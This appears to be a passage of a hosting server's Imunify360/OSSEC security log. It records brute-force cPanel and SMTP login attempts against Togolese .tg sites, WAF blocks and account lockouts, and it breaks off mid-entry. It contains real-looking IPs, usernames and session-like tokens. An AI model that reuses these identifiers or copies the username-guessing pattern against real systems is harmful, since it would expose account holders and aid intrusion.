IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-35.94.26.90.23||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.20.31.204
country_id: 1643084
description:
[2026-06-26 17:36:24 +0000] info [cpaneld] 113.20.31.204 - czqxxxnu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [26/Jun/2026:17:36:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9540712&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782495387 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.203
country_id: 2635167
description:
[2026-06-26 17:37:53 +0000] info [cpaneld] 5.230.133.203 NEW wcnyaruu:ly781kGZ2akZiU38 address=5.230.133.203,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.145
country_id: 6252001
description:
[2026-06-26 17:37:55 +0000] info [cpaneld] 173.211.88.145 NEW wcnyaruu:8nROMGtnpRY8aQOJ address=173.211.88.145,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.50.162.187
country_id: 3625428
domain: letabloid.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/letabloid.tg/tag/la-fabrique-de-fictions/tagdivofficial HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:17:39:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266375&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782495543 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.50.162.187
country_id: 3625428
domain: letabloid.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/letabloid.tghttp/letabloid.tg/tag/la-fabrique-de-fictions/tagdivofficial HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.10.129.165
country_id: 3508796
description:
[2026-06-26 17:41:01 +0000] info [cpaneld] 38.10.129.165 - wellcitytg "GET /login/?login_only=1&user=wellcitytg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcitytg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.224.74.242
country_id: 3469034
description:
[2026-06-26 17:41:06 +0000] info [cpaneld] 45.224.74.242 - wellcit "GET /login/?login_only=1&user=wellcit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcit (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-26 17:40:50 +0000] info [cpaneld] 160.242.195.10 NEW assedderetrm:Cu7J0bl5Tj_gn90J address=160.242.195.10,app=cpaneld,creator=assedderetrm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.243.241.40
country_id: 2589581
description:
[2026-06-26 17:40:54 +0000] info [cpaneld] 154.243.241.40 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 119.15.154.117
country_id: 1210997
description:
[2026-06-26 17:41:21 +0000] info [cpaneld] 119.15.154.117 - well "GET /login/?login_only=1&user=well&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user well (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.66.56.108
country_id: 1643084
domain: www.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:pnls||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.24.120.54
country_id: 2921044
description:
[2026-06-26 17:41:25 +0000] info [cpaneld] 178.24.120.54 - we "GET /login/?login_only=1&user=we&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user we (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.20.31.204
country_id: 1643084
description:
[2026-06-26 17:41:38 +0000] info [cpaneld] 113.20.31.204 - esso "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.117.245.188
country_id: 2542007
description:
[2026-06-26 17:41:23 +0000] info [cpaneld] 196.117.245.188 - wel "GET /login/?login_only=1&user=wel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.87.48.107
country_id: 3469034
description:
[2026-06-26 17:41:14 +0000] info [cpaneld] 177.87.48.107 - wellc "GET /login/?login_only=1&user=wellc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.242.25
country_id: 1733045
description:
[2026-06-26 17:43:02 +0000] info [cpaneld] 180.75.242.25 - certlogi "GET /login/?login_only=1&user=certlogi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogi (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.253.149
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:172.83.253.149||TA:172.83.253.149||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 142.126.207.145
country_id: 6251999
description:
[2026-06-26 17:42:50 +0000] info [cpaneld] 142.126.207.145 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.183.208.100
country_id: 6252001
description:
[2026-06-26 17:42:59 +0000] info [cpaneld] 192.183.208.100 - certlogisticstogocom "GET /login/?login_only=1&user=certlogisticstogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.97.163.159
country_id: 2589581
description:
[2026-06-26 17:43:15 +0000] info [cpaneld] 41.97.163.159 - certl "GET /login/?login_only=1&user=certl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.53.89.103
country_id: 1562822
description:
[2026-06-26 17:43:21 +0000] info [cpaneld] 1.53.89.103 - cert "GET /login/?login_only=1&user=cert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.220.234.73
country_id: 2017370
description:
[2026-06-26 17:43:28 +0000] info [cpaneld] 212.220.234.73 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.170.9.211
country_id: 3469034
description:
[2026-06-26 17:43:12 +0000] info [cpaneld] 177.170.9.211 - certlo "GET /login/?login_only=1&user=certlo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlo (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-26 17:44:42 +0000] info [cpaneld] 5.230.133.148 NEW wcnyaruu:qazCQjuSg3Zk1HA7 address=5.230.133.148,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.177.109
country_id: 1880251
description:
43.173.177.109 - - [26/Jun/2026:17:44:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6450534&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fbs-sport-9280%25252Ffete-de-lindependance-une-course-marque-la-celebration-a-amoussoukope%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782495872 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2F24heureinfo.tg%2Fbs-sport-9280%2Ffete-de-lindependance-une-course-marque-la-celebration-a-amoussoukope%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.177.109


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.208.231
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/djama-en-fete-togo-2000 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 146.70.196.244
country_id: 719819
domain: tdn.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/web.config||User:elmkvzcm||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:48:11 dovecot_login authenticator failed for H=(EZtCKxTzOJ) [107.150.117.171]:63597: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:48:18 dovecot_login authenticator failed for H=(udayMmsep) [107.150.117.171]:57168: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.44.168.236
country_id: 2017370
description:
[2026-06-26 17:49:59 +0000] info [cpaneld] 5.44.168.236 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:49:20 dovecot_login authenticator failed for H=(b0ktu9i7) [107.150.117.171]:52010: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.100.33.115
country_id: 1733045
description:
[2026-06-26 17:50:07 +0000] info [cpaneld] 118.100.33.115 - cafeittg "GET /login/?login_only=1&user=cafeittg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeittg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.97.237.89
country_id: 3625428
description:
[2026-06-26 17:50:20 +0000] info [cpaneld] 190.97.237.89 - caf "GET /login/?login_only=1&user=caf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.192.212.79
country_id: 1733045
description:
[2026-06-26 17:50:16 +0000] info [cpaneld] 14.192.212.79 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:50:19 dovecot_login authenticator failed for H=(zRvce0) [107.150.117.171]:55540: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.166.231.242
country_id: 3508796
description:
Jun 26 17:50:31 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.166.231.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:51:24 dovecot_login authenticator failed for H=(qcWQmVkN) [107.150.117.171]:62439: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 17:51:22 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account anamek has been locked for the attacker IP 107.150.117.171


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.96
country_id: 1880251
description:
43.172.198.96 - - [26/Jun/2026:17:51:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067095&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Ftogo-la-poste-lance-assiyeyeme-pour-mettre-en-valeur-les-produits-locaux%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782496292 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/a-la-une/togo-la-poste-lance-assiyeyeme-pour-mettre-en-valeur-les-produits-locaux/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.96


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:52:46 dovecot_login authenticator failed for H=(XPFlHnNLYh) [107.150.117.171]:55816: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:52:28 dovecot_login authenticator failed for H=(dg12T0vBeg) [107.150.117.171]:64340: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 17:52:26 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account anamek has been locked for the attacker IP 107.150.117.171


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.73.137.207
country_id: 953987
description:
Jun 26 17:52:57 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.73.137.207 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.116.149.124
country_id: 294640
description:
[2026-06-26 17:54:11 +0000] info [cpaneld] 46.116.149.124 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:53:28 dovecot_login authenticator failed for H=(b13pncFf) [107.150.117.171]:56649: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 17:53:26 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account anamek has been locked for the attacker IP 107.150.117.171


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.252.96.56
country_id: 2921044
description:
[2026-06-26 17:54:24 +0000] info [cpaneld] 92.252.96.56 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.142.56.131
country_id: 3996063
description:
[2026-06-26 17:54:28 +0000] info [cpaneld] 189.142.56.131 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:54:33 dovecot_login authenticator failed for H=(HAvNeeSCgs) [107.150.117.171]:62647: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.167.25.19
country_id: 102358
description:
[2026-06-26 17:54:34 +0000] info [cpaneld] 82.167.25.19 - tc "GET /login/?login_only=1&user=tc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.89.143.102
country_id: 3469034
description:
[2026-06-26 17:54:17 +0000] info [cpaneld] 190.89.143.102 - tchambainvesttg "GET /login/?login_only=1&user=tchambainvesttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvesttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.69.57.135
country_id: 2542007
description:
[2026-06-26 17:54:19 +0000] info [cpaneld] 105.69.57.135 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 17:54:49 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account anamek has been locked for the attacker IP 107.150.117.171


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:55:14 dovecot_login authenticator failed for H=(6fNUYgLRo) [107.150.117.171]:55376: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 17:55:12 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account anamek has been locked for the attacker IP 107.150.117.171


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:56:18 dovecot_login authenticator failed for H=(HhBxd2jn1) [107.150.117.171]:51915: 535 Incorrect authentication data (set_id=anamek)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.148.193
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.181.148.193||TA:107.181.148.193||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:57:23 dovecot_login authenticator failed for H=(N5GU22) [107.150.117.171]:62647: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:57:41 dovecot_login authenticator failed for H=(7bn9oC0YMs) [107.150.117.171]:58220: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:58:23 dovecot_login authenticator failed for H=(YNLCJTr) [107.150.117.171]:61739: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.194.218
country_id: 1880251
description:
43.172.194.218 - - [26/Jun/2026:17:58:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738601&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fkodjo-diop%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782496727 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/kodjo-diop/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.194.218


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 17:59:20 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account anamek has been locked for the attacker IP 107.150.117.171


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 17:59:22 dovecot_login authenticator failed for H=(fUaPPd) [107.150.117.171]:49227: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.100
country_id: 1880251
description:
43.173.181.100 - - [26/Jun/2026:17:59:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212820&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fopposition-et-pouvoir-ont-lors-de-cette-deuxieme-seance-aborde-des-questions-constitutionnelles&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782496786 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/opposition-et-pouvoir-ont-lors-de-cette-deuxieme-seance-aborde-des-questions-constitutionnelles" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.100


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:00:20 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account anamek has been locked for the attacker IP 107.150.117.171


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.87.212.184
country_id: 2921044
description:
45.87.212.184 - - [26/Jun/2026:18:00:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080477&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782496856 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.87.212.184


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:00:22 dovecot_login authenticator failed for H=(2lzPQ8) [107.150.117.171]:51585: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:01:30 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:01:32 dovecot_login authenticator failed for H=(TGIjSH) [107.150.117.171]:57005: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.137.66.18
country_id: 294640
description:
[2026-06-26 18:03:09 +0000] info [cpaneld] 77.137.66.18 - bier "GET /login/?login_only=1&user=bier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bier (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.41.185.243
country_id: 2017370
description:
[2026-06-26 18:02:45 +0000] info [cpaneld] 94.41.185.243 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.79.191.58
country_id: 1512440
description:
[2026-06-26 18:02:52 +0000] info [cpaneld] 202.79.191.58 - bieredjamatg "GET /login/?login_only=1&user=bieredjamatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredjamatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.166.125
country_id: 3865483
description:
[2026-06-26 18:03:04 +0000] info [cpaneld] 181.46.166.125 - biere "GET /login/?login_only=1&user=biere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user biere (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:02:13 dovecot_login authenticator failed for H=(R1LK9bzXry) [107.150.117.171]:61323: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:02:29 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.168.224.74
country_id: 3017382
description:
[2026-06-26 18:02:57 +0000] info [cpaneld] 176.168.224.74 - bieredj "GET /login/?login_only=1&user=bieredj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredj (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.210.24.230
country_id: 2017370
description:
[2026-06-26 18:02:48 +0000] info [cpaneld] 91.210.24.230 - bieredjama "GET /login/?login_only=1&user=bieredjama&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredjama (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:02:31 dovecot_login authenticator failed for H=(vV0mbGHxQ) [107.150.117.171]:55740: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.187.44
country_id: 3996063
description:
[2026-06-26 18:02:55 +0000] info [cpaneld] 187.190.187.44 - bieredja "GET /login/?login_only=1&user=bieredja&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredja (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.230.24.206
country_id: 294640
description:
[2026-06-26 18:03:00 +0000] info [cpaneld] 80.230.24.206 - biered "GET /login/?login_only=1&user=biered&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user biered (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.226.231.178
country_id: 3469034
description:
[2026-06-26 18:03:13 +0000] info [cpaneld] 186.226.231.178 - bie "GET /login/?login_only=1&user=bie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.207.227.15
country_id: 2245662
description:
